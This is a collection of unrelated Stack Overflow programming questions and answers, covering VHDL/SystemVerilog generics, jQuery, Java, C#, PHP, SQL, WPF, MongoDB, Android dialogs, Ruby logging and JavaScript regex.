24025641	0	Passing array from system verilog to VHDL <p>I have a code in VHDL which requires an array of elements as generic. COEF_LIST : coef :=(0,0,1,1,2,-2,1,-2,1)</p> <p>How do I send new set of COEF_LIST from my system verilog testbench to VHDL entity?</p> <p>Generic in VHDL is same as parameter in verilog.</p> <p>I declared coef as </p> <pre><code> parameter real COEFF[8:0] = '{0,0,1,1,2,-2,1,-2,1}; </code></pre> <p>in system verilog.</p> <p>I tried passing using (in my verilog testbench)</p> <pre><code> vhdl_entity #( .COEF_LIST(COEFF) ) </code></pre> <p>I get the following error</p> <pre><code> **.COEF_LIST(COEFF) | </code></pre> <p>ncelab: *E,CFIGTC (./vhdl_entity_tb.vams,41|36): VHDL generic vhdl_entity.COEF_LIST (../views/rtl/vhdl_entity.vhd: line 34, position 14) type is not compatible with Verilog. irun: <em>E,ELBERR: Error during elaboration (status 1), exiting.*</em></p> <p>This doesn't work. How do I make it compatible with VHDL? I am using incisiv 13.20.008 version</p> <p>Could anyone please suggest what to do?</p>
40383253	0	 <p>Because you 1. Didn't include jQuery in your fiddle, and 2. had a typo in your code. New fiddle: <a href="https://jsfiddle.net/yx0ehdy5/2/" rel="nofollow noreferrer">https://jsfiddle.net/yx0ehdy5/2/</a></p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>var idName = $('.a').closest('li').attr('id'); $('.a').attr('id', idName + 'B');</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"&gt;&lt;/script&gt; &lt;ul&gt; &lt;li id="a"&gt; &lt;div class="a"&gt;something &lt;/div&gt; &lt;/li&gt; &lt;/ul&gt;</code></pre> </div> </div> </p>
28442442	0	 <p>You are only assigning 'checkedIfInsured' inside an 'if' block. If the condition doesn't hold, it won't get assigned, and that is what the compiler is complaining about.</p> <p>Make sure you assign 'checkedIfInsured' outside the 'if' block.</p>
4573079	0	 <p>The inner class must be public.</p> <pre><code>package org.example; public class Foo { public abstract static class MyInnerClass { abstract void print(String s); } public void pr() { System.out.println("foo"); } } </code></pre> <p><strong>First test</strong>: Subclass and instantiate the outer <code>Foo</code> class:</p> <pre><code>$ java -classpath $PWD:/usr/share/java/js.jar:/usr/share/java/jline.jar:. org.mozilla.javascript.tools.shell.Main Rhino 1.7 release 2 2010 01 20 js&gt; var a = new JavaAdapter(Packages.org.example.Foo, { &gt; pr: function() { print("jsfoo"); }, &gt; }); js&gt; a.pr(); jsfoo </code></pre> <p><strong>Second test</strong>: Subclass and instantiate the inner class:</p> <pre><code>js&gt; var b = new JavaAdapter(Packages.org.example.Foo.MyInnerClass, { &gt; print: function(s) { print("Inner: " + s); }, &gt; }); js&gt; b.print("one"); Inner: one undefined </code></pre> <p><strong>Note</strong>: If I change the inner class not to be public, I get the exact same error you reported.</p>
8982693	0	 <pre><code>using System.Collections.Generic; public class Test&lt;T&gt; { public T Value { get { return _Value; } set { if (!EqualityComparer&lt;T&gt;.Default.Equals(_Value, value)) { _Value = value; } } } private T _Value; } </code></pre>
34433246	0	 <p>Go to the <a href="https://developers.google.com/maps/documentation/android-api/" rel="nofollow">official link</a>, click Get A Key and follow the instructions. <strong>Try to google firstly before asking.</strong></p>
34807138	0	 <p>Avoid <code>exit;</code> / <code>function exit;</code> or <code>die;</code> will terminate execution, its better practice in only debugging your code.</p> <p>Try like below.</p> <pre><code>public function index(){ if($xx) return TRUE; } </code></pre>
40647043	0	Saving image to local storage from canvas <p>Hi I am trying to save to file from canvas, but cannot <strong>name</strong> the file, this works but saves a file as "download" I would like give it any name. Any help is appreciated, lc.getImage gets image from canvas. </p> <pre><code> $('#download_btn').click(function() { var image = lc.getImage(); document.location.href = image.toDataURL("image/png").replace("image/png", "image/octet-stream"); }); </code></pre>
20504851	0	Using xcodebuild with an iOS Project and the iOS Simulator <p>This <a href="http://stackoverflow.com/questions/12889065/no-architectures-to-compile-for-only-active-arch-yes-active-arch-x86-64-valid">question</a> is related, but does not resolve the specific issue I am having.</p> <p>I am using Xcode 4.6.3 under OS X 10.7.5.</p> <p>I simply created the default project for a single view iOS app and made no changes to the project settings. The project, of course, builds in Xcode for the iOS Simulator. However, when I try to use xcodebuild from the command line, xcodebuild fails.</p> <p>The project name is just: temp</p> <p>I tried:</p> <pre><code>xcodebuild -scheme temp -sdk iphonesimulator6.1 </code></pre> <p>and that produced the results:</p> <pre><code>Build settings from command line: SDKROOT = iphonesimulator6.1 === BUILD NATIVE TARGET temp OF PROJECT temp WITH CONFIGURATION Debug === Check dependencies No architectures to compile for (ONLY_ACTIVE_ARCH=YES, active arch=x86_64, VALID_ARCHS=i386). ** BUILD FAILED ** The following build commands failed: Check dependencies (1 failure) </code></pre> <p>Based on the other SO question, I tried:</p> <pre><code>xcodebuild ARCHS="armv7 armv7s" ONLY_ACTIVE_ARCH=NO -scheme temp -sdk iphonesimulator6.1 </code></pre> <p>and got similar results:</p> <pre><code>Build settings from command line: ARCHS = armv7 armv7s ONLY_ACTIVE_ARCH = NO SDKROOT = iphonesimulator6.1 === BUILD NATIVE TARGET temp OF PROJECT temp WITH CONFIGURATION Debug === Check dependencies No architectures to compile for (ARCHS=armv7 armv7s, VALID_ARCHS=i386). ** BUILD FAILED ** The following build commands failed: Check dependencies (1 failure) </code></pre> <p>What xcodebuild command do I need to execute to be able to build with xcodebuild?</p> <p>Thank you.</p>
31234976	0	 <p>@Erik Paulson, check out <a href="https://www.npmjs.com/package/sql-cli" rel="nofollow">SQL-CLI</a>, its a great command line tool to connect to Azure SQL Database and SQL Server natively on a Mac. </p>
589872	0	 <p>What Eclipse and Mylyn version are you using ?</p> <p>The is a <a href="https://bugs.eclipse.org/bugs/show_bug.cgi?id=232664" rel="nofollow noreferrer"><strong>bug</strong></a> somewhat relative to this issue, supposedly fixed, but only in Mylyn 2.3 (in eclipse3.4)</p> <hr> <p>Do not forget, according to the <strong><a href="http://wiki.eclipse.org/index.php/Mylyn/FAQ#Why_am_I_missing_elements_when_I_retrieve_someone_else.E2.80.99s_context.3F" rel="nofollow noreferrer">Mylyn FAQ</a></strong>, that:</p> <blockquote> <p>To identify elements within a project, Mylyn relies on the name of the project being consistent across workspaces.<br> If the project name in the workspace that the context was created with is different than its name in your workspace, the task context will not show elements within that project (<a href="https://bugs.eclipse.org/bugs/show_bug.cgi?id=164058" rel="nofollow noreferrer">bug 164058</a>).<br> The other case where context can be lost is if the elements change names outside of the workspace (<a href="https://bugs.eclipse.org/bugs/show_bug.cgi?id=164243" rel="nofollow noreferrer">bug 164243</a>). </p> </blockquote> <p>(not exactly your issue, but still something to check)</p>
2896608	0	 <p>You would have to some how invoke a compiler (such as Suns javac), parse its output in case of errors and load the resulting classes dynamically.</p> <p>There is no API-classes in the Java runtime library that will parse, compile and run Java source code.</p>
29934881	0	 <p>When you write:</p> <blockquote> <p>arr["Hello"]=...</p> </blockquote> <p>you are creating a new Object associated with the <code>arr</code> Array object, which does not affect the length of <code>arr</code>.</p> <p>You can achieve the same effect by writing:</p> <blockquote> <p>arr.Hello=...</p> </blockquote>
40414985	0	resque worker stops automatically on aws ec2 <p>My application is hosted on AWS ec2. I am using resque worker for background jobs. I am starting the worker using this command <code>bundle exec rake resque:work QUEUE='*'</code> this does start the worker but after sometime it automatically stops, and i have login into session and start again.</p>
29729711	0	Checkbox value not being set <p>In my database there's a bool fiedd called <code>IsAvailable</code>.In my edit function i wanted to fill that checkbox is <code>IsAvailable</code> or <code>not</code> but in here always checkbox not filled.</p> <pre><code>($("#chkcomp").prop('checked') == msg._prodlng[0].IsAvailable); </code></pre> <p>but <br></p> <pre><code>msg._prodlng[0].IsAvailable // this one returns true or false correctly according to database value </code></pre>
8726459	0	 <p>What is the problem with this code? only one curly braces i found is missing else it is working fine.</p> <p>This will create a dir test in c drive if does not exist else it will list the files in test dir over n over again</p> <pre><code>String entitiesFolderDirectory = "C:\\test"; File entitiesFolder = new File(entitiesFolderDirectory); try { List&lt;String&gt; entitiesDirectoryContents = Arrays.asList(entitiesFolder.list()); for (String entityPropertiesFileName : entitiesDirectoryContents) { System.out.println(entityPropertiesFileName); } }catch (NullPointerException e) { System.out.println("creating new folder"); entitiesFolder.mkdirs(); } </code></pre>
34056503	0	 <p>In Python 2, <code>map()</code> produces a <code>list</code>, which has the method <code>sort()</code>. In Python 3, <code>map()</code> produces a <code>map</code> object, which acts as a lazy generator and does not have the method <code>sort()</code>. If you want to use <code>sort()</code> on it, you'll have to pass that object to <code>list()</code> first:</p> <pre><code>sub = list(sub) sub.sort() </code></pre> <p>Of course, if you're doing that, you might as well just use <code>sorted()</code>, which works on Python 3 <code>map</code> objects as well as <code>list</code> objects:</p> <pre><code>sub = sorted(sub) </code></pre>
16169540	0	Way to avoid ctrl+F5 to get latest changes on web page <p>I have developed SPA using Knockout. I use Visual studio 2012 for development. My application connects to WCF services and displays the data. I make changes to my application and deploy on test server. When i type url and load application, it shows the old contents on the web page. I have to press ctrl+ F5 to get the latest changes. Why is it so and what is the way to avoid it? Cant we just press F5 and get the latest changes? Please let me know what other information you need.</p>
9450197	0	 <p>First thought:</p> <p>Shouldn't you be using ".each" for your function call:</p> <pre><code>$(".game").load(compose(".game", "yellow")); </code></pre> <p>since there are multiple elements with the "game" class? Just a thought. Also, attaching your function to the loading of the element seems like a potential issue, because what you're after is the width of the <em>window</em>, not the width of the element. The element will load before the whole window has loaded. Try it with window.onload instead. (You're going to get a flash of unstyled content, but that's a separate issue.)</p> <p>But there are also other connected problems: load the page at 1300px wide, then stretch it wider to 1500 and you'll see a similar error on the right side in both Webkit and FF10. There are other weird bugs down below, also on the "noticias" div. The issue is probably a bug with the onresize event, which jquery has (mostly) normalized, but nobody's perfect.</p> <p>Hombre, this is a LOT of work to get around a template limitation. I think you're arguably off on the wrong foot there in the first place, and even if you can get it to work it's obviously js-dependent, which is unnecessary. This is really a CSS issue, not a js issue. And even then, you're building the site so that it will never be responsive to narrow viewports, arguably a bad idea.</p> <p>Why not just do a pure css approach? Set the wrappers to 100% width, with no padding. Then set your asides to 100% width too, with some internal container that has a max width. Leave the WP loops the same, just wrap them in new divs that are set to center. Then set </p> <pre><code>background-size:cover </code></pre> <p>on your background images for each aside. It won't work on ancient browsers, but it'll get you a lot closer.</p> <p>OR... just set crazy wide background images (big enough to cover any realistic situation) on the body or #whitewrap? Or if that's too much to contemplate just add dummy child divs inside the various sections, that are pushed absolutely outside of each area to cover the margins. And then set the container to overflow:hidden so things don't stick out. It's ugly semantically, but more straightforward. There are a much easier ways hacks to fix this with css that don't introduce document reflow problems. You will realistically never write js that matches every single browsers css idiosyncracies!</p>
20540114	0	 <p>The solution is quite easy:</p> <p>You can provide the jacob.dll (and your 3rd party dll for that matter) as part of your applet - so there is no local installation in any directory necessary. Jacob itself provides a quite nice applet example for that:</p> <p>Download the jacob source from <a href="http://sourceforge.net/projects/jacob-project/files/jacob-project/1.17/jacob-1.17_src.zip/download" rel="nofollow">here</a> and have a look at the applet example:</p> <pre><code>jacob-1.XX\samples\com\jacob\samples\applet </code></pre> <p>There is a readme.txt file exactly describing what you must do - it even supplies an example applet calling some native activeX component to demonstrate its feasibility. It doesn't get easier than that...</p> <p>Update:</p> <p>To deploy an applet using an jnlp file have a look <a href="http://www.oracle.com/technetwork/java/javase/index-142562.html" rel="nofollow">here</a>.</p>
27311543	0	 <p>%JAVA_HOME%\bin;<strong>%M2%</strong>;C:\Windows\Microsoft.NET\Framework\v4.0.30319;D:\sytemapps\Python27;%<strong>M2</strong>%;%JAVA_HOME%/bin;C:\Developer\Android\sdk\platform-tools\;%GRADLE_HOME%\bin;%DEVKIT_HOME%\bin;%DEVKIT_HOME%\mingw\bin</p> <p>change to </p> <p>%JAVA_HOME%\bin;<strong>%M2_HOME%</strong>;C:\Windows\Microsoft.NET\Framework\v4.0.30319;D:\sytemapps\Python27;%<strong>M2_HOME</strong>%;%JAVA_HOME%/bin;C:\Developer\Android\sdk\platform-tools\;%GRADLE_HOME%\bin;%DEVKIT_HOME%\bin;%DEVKIT_HOME%\mingw\bin</p> <p>Issue might be becuase of environment variable path name. For maven environment varibale name should be <strong>M2_HOME</strong> or <strong>MAVEN_HOME</strong>(for older version)</p>
454825	0	 <p>When you look here at the <a href="http://mysql-python.sourceforge.net/MySQLdb.html#cursor-objects" rel="nofollow noreferrer">mysqldb documentation</a> you can see that they implemented different strategies for cursors. So the general answer is: it depends.</p> <p>Edit: Here is the <a href="http://mysql-python.sourceforge.net/MySQLdb-1.2.2/" rel="nofollow noreferrer">mysqldb API documentation</a>. There is some info how each cursor type is behaving. The standard cursor is storing the result set in the client. So I assume there is a overhead if you don't retrieve all result rows, because even the rows you don't fetch have to be transfered to the client (potentially over the network). My guess is that it is not that different from postgresql.</p> <p>When you want to optimize SQL statements that you call repeatedly with many values, you should look at cursor.executemany(). It prepares a SQL statement so that it doesn't need to be parsed every time you call it:</p> <pre><code>cur.executemany('INSERT INTO mytable (col1, col2) VALUES (%s, %s)', [('val1', 1), ('val2', 2)]) </code></pre>
23057306	0	 <p>Here's a simple hide/show sidebar script for you to get the idea:</p> <pre><code>&lt;div id="sidebar" style="height:600px; width:100px; right:-75px; position:absolute; background-color:black;"&gt; //sidebar styling &lt;/div&gt; &lt;script&gt; $('#sidebar').hover(function() { $('#sidebar').stop().animate({'right' : '0px'}, 250); }, function() { $('#sidebar').stop().animate({'right' : '-75px'}, 350); }); </code></pre> <p></p> <p>Here is a working example: <a href="http://jsfiddle.net/XTDHx/" rel="nofollow">http://jsfiddle.net/XTDHx/</a></p>
27103070	0	 <p>The approach is ok.</p> <p>If you do not have enough memory for JVM, you can increase it with -Xmx option</p> <p>For the accurate retrieval it's better to create a unigram language model with frequencies of the words, not just a plain list. See for details</p> <p><a href="http://cmusphinx.sourceforge.net/wiki/tutoriallm" rel="nofollow">http://cmusphinx.sourceforge.net/wiki/tutoriallm</a></p> <p>For the best accuracy it's better to use latest high-level API, see for details</p> <p><a href="http://cmusphinx.sourceforge.net/wiki/sphinx4" rel="nofollow">http://cmusphinx.sourceforge.net/wiki/sphinx4</a></p>
38598009	0	how to pass dynamic url in c3.js? <p>There is one page on which data is displayed in csv format. And when I'm passing this url in <code>c3.js</code> then I'm not getting proper output.</p> <h2>Here is the code of <code>c3.html</code>:</h2> <pre><code>&lt;html&gt; &lt;head&gt; &lt;link rel="stylesheet" type="text/css" href="c3.css"&gt; &lt;/head&gt; &lt;body&gt; &lt;div id="chart"&gt;&lt;/div&gt; &lt;script src="d3.min.js"&gt;&lt;/script&gt; &lt;script src="d3.v3.min.js" charset="utf-8"&gt;&lt;/script&gt; &lt;script src="c3.min.js"&gt;&lt;/script&gt; &lt;script&gt; var chart = c3.generate({ data: { url: 'view1.php/id=34.csv', } }); &lt;/script&gt; &lt;/body&gt; </code></pre> <h2> </h2> <p>When I run this script then Ii get a output like this:<a href="https://i.stack.imgur.com/89qLo.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/89qLo.png" alt="enter image description here"></a></p> <p>Output of view1.php?id=34.csv is :<a href="https://i.stack.imgur.com/d9okX.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/d9okX.png" alt="enter image description here"></a> and code of view1.php is : <a href="https://i.stack.imgur.com/dh2A2.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/dh2A2.png" alt="enter image description here"></a> Can any one help me to resolve this issue?</p>
17068706	0	 <p>I would suggest using <code>document.getElementById('result').value</code> opposed to <code>result.value</code> within your <code>updateScore</code> function to ensure your accessing the correct element.</p> <p>I had included an example where <a href="https://developer.mozilla.org/en-US/docs/Web/API/window.setInterval" rel="nofollow"><code>setInterval</code></a> will call your <code>updateScore</code> every second to illustrate the result being updated,</p> <pre><code>var score = 20; function updateScore (){ score = score + 10; document.getElementById("result").value = score; } setInterval(updateScore,1000); </code></pre> <p>This can be modified at the following fiddle,</p> <p><a href="http://jsfiddle.net/d3QqN/" rel="nofollow">http://jsfiddle.net/d3QqN/</a></p>
2143252	0	 <p>SVN command line errors go to stderr, not stdout, which is why you aren't able to see them. What you want to do is redirect stderr to stdout and then <code>print_r($output)</code> to determine the cause of the error. </p> <pre><code>exec('svn commit &lt;stuff&gt; 2&gt;&amp;1', $output, $returnStatus); if ( $returnStatus ) { print_r($output); } </code></pre> <p>Sample output:</p> <pre><code>Array ( [0] =&gt; svn: Commit failed (details follow): [1] =&gt; svn: '/path/to/&lt;stuff&gt;' is not under version control ) </code></pre> <p>This is not ideal because it mixes stderr with stdout when it would otherwise be unnecessary, but I don't know of another way to get the desired output in this case. If someone else does, please comment.</p> <p><strong>Note:</strong> The third parameter to <a href="http://us3.php.net/manual/en/function.exec.php" rel="nofollow noreferrer">exec(...)</a> is the return <strong>status</strong>, not the error message, so you need to tweak your code accordingly for that as well.</p> <p>If the error output after making the <code>2&gt;&amp;1</code> modification doesn't help solve the root cause of your problem, please post the new output here.</p> <p><strong>Edit after new information:</strong></p> <p>Did you upload this SVN working copy to your server from somewhere else? That would explain this error.</p> <p>If I check out a working copy from my local repository, upload it to my remote server, and then try to commit, I get the same error.</p> <p>If that's the case, you need to execute the "svn checkout" of the working copy <strong>on the server running the PHP script</strong> in order to be able to commit to it. If that server can't communicate with the repository's server, then that's a whole other problem.</p>
15112185	0	draw a multicolor line with a CGPath <p>below you see a code that draws a multicolor line each time drawMulticolorLine is called.</p> <pre><code> void drawMulticolorLine { CGContextBeginPath(secondaryContext); CGContextMoveToPoint(secondaryContext, h, v); for( int i = 1; i &lt; lineWidth; ++ ) { SetStrokeColor(i); CGContextAddLineToPoint(secondaryContext, h+i, v); CGContextDrawPath(secondaryContext, kCGPathFillStroke); CGContextMoveToPoint(secondaryContext, h+i, v); } } //a function that sets a different color for each i void SetStrokeColor(int i) { CGContextSetRGBStrokeColor(secondaryContext,… } </code></pre> <p>the code above works but if i use it in real live, it is a perfomance killer. so i try to improve the drawing performance with the code below.</p> <pre><code> void drawMulticolorLine { CGContextBeginPath(secondaryContext); CGContextMoveToPoint(secondaryContext, h, v); for( int i = 1; i &lt; lineWidth; ++ ) { SetStrokeColor(i); CGContextAddLineToPoint(secondaryContext, h+i, v); } CGContextDrawPath(secondaryContext, kCGPathFillStroke); } //a function that sets a different color for each i void SetStrokeColor(int i) { CGContextSetRGBStrokeColor(secondaryContext,… } </code></pre> <p>this code works with a good performance if the line color is always the same.</p> <p>my issue now is that once CGContextDrawPath is called the whole line is drawn in the color of the last CGContextSetRGBStrokeColor.</p> <p>is there a way that the path keeps the colors of every line segment that was added ?</p> <p>any help is greatly appreciated.</p> <p>cheers, bzt</p>
37078011	0	 <p>usea global js variable</p> <pre><code>var gblPreviousTxtBoxValue = $('#txtboxid').val(); </code></pre> <p>use setInterval function to call the function every 5 sec</p> <pre><code>setInterval(function(){ var currentTxtBoxValue =$("#your_id").val(); if(gblPreviousTxtBoxValue != currentTxtBoxValue) //check if current and previous textbox values are not equal { $.ajax({ url: "yoururl", type: "post", data: { "textboxname": currentTxtBoxValue }, success: function(response) { //Code }, error: function(xhr) { //Do Something to handle error } }); } gblPreviousTxtBoxValue = currentTxtBoxValue; //assign current value }, 5000); </code></pre>
17126539	0	Can you automatically retrieve a foreign document in your mongodb model using c#? <p>I would like to setup my mongo db poco models so that they automatically retreive their foreign documents, similarly to how its handled by EF and nhibernate.</p> <p>This is the solution that I have come up with so far, its a bit clunky but the best that I could manage:</p> <p>Basic model:</p> <pre><code> public class DocumentOwner { public virtual ObjectId OwnerID { get; set; } } </code></pre> <p>Extended model with manual retrieval of foreign documents:</p> <pre><code>public class DocumentOwner { public MongoDatabase DB { get; set; } public virtual ObjectId OwnerID { get; set; } public virtual Individual Owner { get { return this.DB.GetCollection&lt;Individual&gt;().FindOne(Query&lt;Individual&gt;.EQ(x =&gt; x.Id, this.OwnerID)); } } </code></pre> <p>The main problem with this solution is that I have to manually inject the mongo database instance which is quite clunky, if there was a way to use ninject to inject this instance that would be a lot tidier. Even better if somehow I could use MongoDBRef to retrieve the individual without having to perform a manual query...</p>
14121121	0	Display text when clicked on the Button of AlertDialog in android <p>I'm working with android and I want to make an event on <code>AlertDialog</code> button. I want to change the text on the button dynamically, this is my code </p> <pre><code>AlertDialog.Builder alert = new AlertDialog.Builder(Soto_Betawi.this); alert.setTitle("Payment"); alert.setMessage("Total Price : Rp. " + total); final EditText input = new EditText(Soto_Betawi.this); alert.setView(input); alert.setPositiveButton("Change Due", new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int which) { cash = Integer.parseInt(input.getText().toString()); change = cash - total; //I want to set a text from the operation above in a text } }); alert.setNegativeButton("Close", new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int which) { } }); alert.setCancelable(true); alert.create().show(); </code></pre>
23186807	0	 <p>Your string is equal to <code>\r\n\r\n\t\r\ndata\r\n\t</code> which is <code>CR LF CR LF TAB CR LF "data" CR LF TAB</code>. You're only trimming <code>LF</code> (<code>\n</code>) in your <code>trim()</code> call, which is why you don't trim <code>CR</code> (<code>\r</code>) and <code>TAB</code> (<code>\t</code>) also present in your string. </p> <p>Try removing the second parameter (which specifies what characters should be trimmed), it will take care all of the whitespace characters.</p> <p>As of <a href="http://www.php.net/manual/en/function.trim.php" rel="nofollow">Docs</a>:</p> <blockquote> <p>This function returns a string with whitespace stripped from the beginning and end of str. <strong>Without the second parameter, trim() will strip these characters:</strong></p> </blockquote> <pre><code>" " (ASCII 32 (0x20)), an ordinary space. "\t" (ASCII 9 (0x09)), a tab. "\n" (ASCII 10 (0x0A)), a new line (line feed). "\r" (ASCII 13 (0x0D)), a carriage return. "\0" (ASCII 0 (0x00)), the NUL-byte. "\x0B" (ASCII 11 (0x0B)), a vertical tab. </code></pre>
26801162	0	 <p>You can express your query as:</p> <pre><code>SELECT IdPerson FROM Person p JOIN CustomFieldXPerson cfxp on cfxp.IdPerson = p.IdPerson JOIN Filter f on f.IdField = cfxp.IdField AND (f.Criteria = '=' and f.Value = cfxp.Value or f.Criteria = '&lt;' and f.Value &lt; cfxp.Value or f.Criteria = '&lt;=' and f.Value &lt;= cfxp.Value or f.Criteria = '&gt;' and f.Value &gt; cfxp.Value or f.Criteria = '&gt;=' and f.Value &gt;= cfxp.Value ) WHERE f.GroupId = X ; </code></pre> <p>EDIT:</p> <p>If you want to get persons that match all filters, just use <code>group by</code>:</p> <pre><code>SELECT IdPerson FROM Person p JOIN CustomFieldXPerson cfxp on cfxp.IdPerson = p.IdPerson LEFT JOIN Filter f on f.IdField = cfxp.IdField AND (f.Criteria = '=' and f.Value = cfxp.Value or f.Criteria = '&lt;' and f.Value &lt; cfxp.Value or f.Criteria = '&lt;=' and f.Value &lt;= cfxp.Value or f.Criteria = '&gt;' and f.Value &gt; cfxp.Value or f.Criteria = '&gt;=' and f.Value &gt;= cfxp.Value ) AND f.GroupId = X GROUP BY idPerson HAVING COUNT(f.IdField) = COUNT(*) OR COUNT(f.IdField) = 0; </code></pre> <p>In other words, all the filters that match the person, in the group, match. The additional condition in the <code>HAVING</code> clause is in case the filter group has no filters.</p>
14025348	0	 <p>You don't need the ' in <code>NSPredicate</code>. They are being inserted automatically.</p> <p>Just try</p> <pre><code>[NSPredicate predicateWithFormat:@"(name like %@)",name]; </code></pre> <hr> <p>The reason this crashed was because the predicate value was interrupted. If you create a string with format, like in your example, your going to end up with <strong>(name like 'family's')</strong>, which obviously can't work. </p> <p>If you use <code>predicateWithFormat:</code> on the other hand, you can let it handle this itself. It will escape your special characters.</p>
6407200	0	 <p>You can write a pseudo <code>IO</code> class that will write to multiple <code>IO</code> objects. Something like:</p> <pre><code>class MultiIO def initialize(*targets) @targets = targets end def write(*args) @targets.each {|t| t.write(*args)} end def close @targets.each(&amp;:close) end end </code></pre> <p>Then set that as your log file:</p> <pre><code>log_file = File.open("log/debug.log", "a") Logger.new MultiIO.new(STDOUT, log_file) </code></pre> <p>Every time <code>Logger</code> calls <code>puts</code> on your <code>MultiIO</code> object, it will write to both <code>STDOUT</code> and your log file.</p> <p><strong>Edit:</strong> I went ahead and figured out the rest of the interface. A log device must respond to <code>write</code> and <code>close</code> (not <code>puts</code>). As long as <code>MultiIO</code> responds to those and proxies them to the real IO objects, this should work.</p>
21956763	0	 <p>This is more or less what you wrote. To be more precise:</p> <p>Yellowish line signal Cython command which are not directly translated to pure C code but which work by calling CPython API to do the job. Those line includes:</p> <ul> <li>Python object allocation</li> <li>calls to Python function and builtins</li> <li>operating on Python high level data stuctures (eg: list, tuples, dictionary)</li> <li>use of overloaded operation on Python types (eg: +, * in Python integers vs C int)</li> </ul> <p>In any case, this is a good indication that thing might be improved.</p>
25580296	0	Flipped copy of a Rectangle using ScaleTransform in WPF <p>I am trying to create a flipped copy of a rectangle in Left, Right, Up and Down directions.</p> <p>However I am able to do it when the selected rectangle has no prior transformation applied on it.</p> <p>But once a rectangle is being transformed with <code>ScaleTransform</code> and I try to flip it again in the desired direction, the solution does not work for me.</p> <p>Please correct me what I am doing wrong here.</p> <p>Here is the code I am using</p> <p><strong>XAML</strong></p> <pre><code>&lt;Grid&gt; &lt;Grid.ColumnDefinitions&gt; &lt;ColumnDefinition&gt;&lt;/ColumnDefinition&gt; &lt;ColumnDefinition Width="10"&gt;&lt;/ColumnDefinition&gt; &lt;ColumnDefinition Width="Auto"&gt;&lt;/ColumnDefinition&gt; &lt;/Grid.ColumnDefinitions&gt; &lt;Canvas Name="canvas" Background="LightGray" MouseDown="Canvas_MouseDown"&gt; &lt;Rectangle x:Name="rect" StrokeThickness="2" Stroke="Black" Height="60" Width="100" Canvas.Left="500" Canvas.Top="300" MouseDown="rect_MouseDown"&gt; &lt;Rectangle.Fill&gt; &lt;LinearGradientBrush StartPoint="0.5,0" EndPoint="0.5,1"&gt; &lt;GradientStop Color="#FFFB7D0E" Offset="0" /&gt; &lt;GradientStop Color="#FF59C103" Offset="1" /&gt; &lt;GradientStop Color="#FFFFFFFF" Offset="0.51" /&gt; &lt;/LinearGradientBrush&gt; &lt;/Rectangle.Fill&gt; &lt;/Rectangle&gt; &lt;/Canvas&gt; &lt;StackPanel Grid.Column="2"&gt; &lt;Button Content="Left" Click="Button_Click"&gt;&lt;/Button&gt; &lt;Button Content="Right" Click="Button_Click"&gt;&lt;/Button&gt; &lt;Button Content="Up" Click="Button_Click"&gt;&lt;/Button&gt; &lt;Button Content="Down" Click="Button_Click"&gt;&lt;/Button&gt; &lt;/StackPanel&gt; &lt;/Grid&gt; </code></pre> <p><strong>C#</strong></p> <pre><code> Rectangle selectedRect; //Flip private void Button_Click(object sender, RoutedEventArgs e) { if (selectedRect == null) return; //Create a copy of rectangle string rectXaml = XamlWriter.Save(selectedRect); StringReader stringReader = new StringReader(rectXaml); XmlReader xmlReader = XmlReader.Create(stringReader); Rectangle newRect = (Rectangle)XamlReader.Load(xmlReader); //Calculate the bounding box var boundingRect = newRect.RenderTransform.TransformBounds(new Rect(0, 0, newRect.Width, newRect.Height)); double cX, cY, sX, sY; sX = 1; sY = 1; cX = (boundingRect.Left + boundingRect.Right) / 2; cY = (boundingRect.Top + boundingRect.Bottom) / 2; switch ((sender as Button).Content.ToString()) { case "Up": sX = 1; sY = -1; cY = boundingRect.Top; break; case "Down": sX = 1; sY = -1; cY = boundingRect.Bottom; break; case "Left": sX = -1; sY = 1; cX = boundingRect.Left; break; case "Right": sX = -1; sY = 1; cX = boundingRect.Right; break; } newRect.Stroke = Brushes.Black; newRect.RenderTransform = new ScaleTransform(sX, sY, cX, cY); newRect.MouseDown += new MouseButtonEventHandler(rect_MouseDown); //Add new rect to Canvas canvas.Children.Add(newRect); } //To select a rectangle on canvas private void rect_MouseDown(object sender, MouseButtonEventArgs e) { if (selectedRect != null) selectedRect.Stroke = Brushes.Black; selectedRect = sender as Rectangle; selectedRect.Stroke = Brushes.Blue; e.Handled = true; } //clear the selection private void Canvas_MouseDown(object sender, MouseButtonEventArgs e) { if (selectedRect != null) { selectedRect.Stroke = Brushes.Black; selectedRect = null; } e.Handled = true; } </code></pre>
9008038	0	SQL Assertion/Trigger: how to set an attribute to forbid decreasing updates <p>I have a table called person, one of the attributes is years_worked.</p> <p>I need to find a way to restrict years_worked from being decreased, so that a trigger/assertion (not sure what to use here) will only allow increases on updates.</p>
31109964	0	JavaScript storing search matches in array <p>How to store the search matches from <code>id="post_body"</code> to array?</p> <blockquote> <pre><code>&lt;textarea name="post[body]" id="post_body"&gt; </code></pre> <p>--Lorem ipsum-- dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et --Dolore-- magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. --Duis aute-- irure dolor in reprehenderit in voluptate velit esse cillum --Dolore-- eu fugiat nulla pariatur</p> <p><code>&lt;/textarea&gt;</code></p> </blockquote> <p>The target are all words surrounded by '--'. In Ruby, I do that with:</p> <pre><code>matches = tex.scan(/--(.+?)--/).flatten matches = matches.uniq </code></pre> <p>In this case, the array would be: </p> <pre><code>matches = ["Lorem ipsum", "Dolore", "Duis aute"]; </code></pre> <p>NB: the word "Dolore" appears twice surrounded with <code>--</code>, but in the array it should be stored only once.</p>
